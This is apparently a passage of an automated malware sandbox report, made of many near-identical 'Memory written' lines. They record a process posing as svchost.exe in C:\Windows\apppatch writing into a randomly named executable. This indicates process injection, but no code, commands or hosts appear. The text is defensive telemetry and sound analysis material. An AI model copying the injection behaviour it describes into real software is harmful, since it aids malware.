    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 24E0000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 24E1000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 24E2000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2535000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2970000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2971000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2972000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 29C5000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 26E0000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 26E1000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 26E2000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2735000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2F80000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2F81000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2F82000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2FD5000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 660000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 661000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 662000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 6B5000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 6F0000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 6F1000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 6F2000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 745000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 750000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 751000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 752000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 7A5000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 29E0000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 29E1000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 29E2000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2A35000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2CB0000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2CB1000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2CB2000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2D05000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2D10000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2D11000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2D12000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2D65000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 3150000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 3151000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 3152000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 31A5000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2380000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2381000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2382000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 23D5000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 28E0000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 28E1000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 28E2000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2935000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 15A0000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 15A1000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 15A2000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 15F5000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 1070000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 1071000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 1072000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 10C5000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2750000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2751000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2752000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 27A5000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: DD0000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: DD1000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: DD2000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: E25000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 30C0000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 30C1000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 30C2000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 3115000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 8C0000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 8C1000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 8C2000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 915000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 980000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 981000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 982000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 9D5000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 1480000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 1481000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 1482000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 14D5000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: EB0000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: EB1000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: EB2000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: F05000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2EB0000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2EB1000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2EB2000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2F05000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2890000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2891000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2892000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 28E5000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2150000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2151000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2152000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 21A5000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 29E0000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 29E1000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 29E2000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2A35000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2A50000Jump to behavior
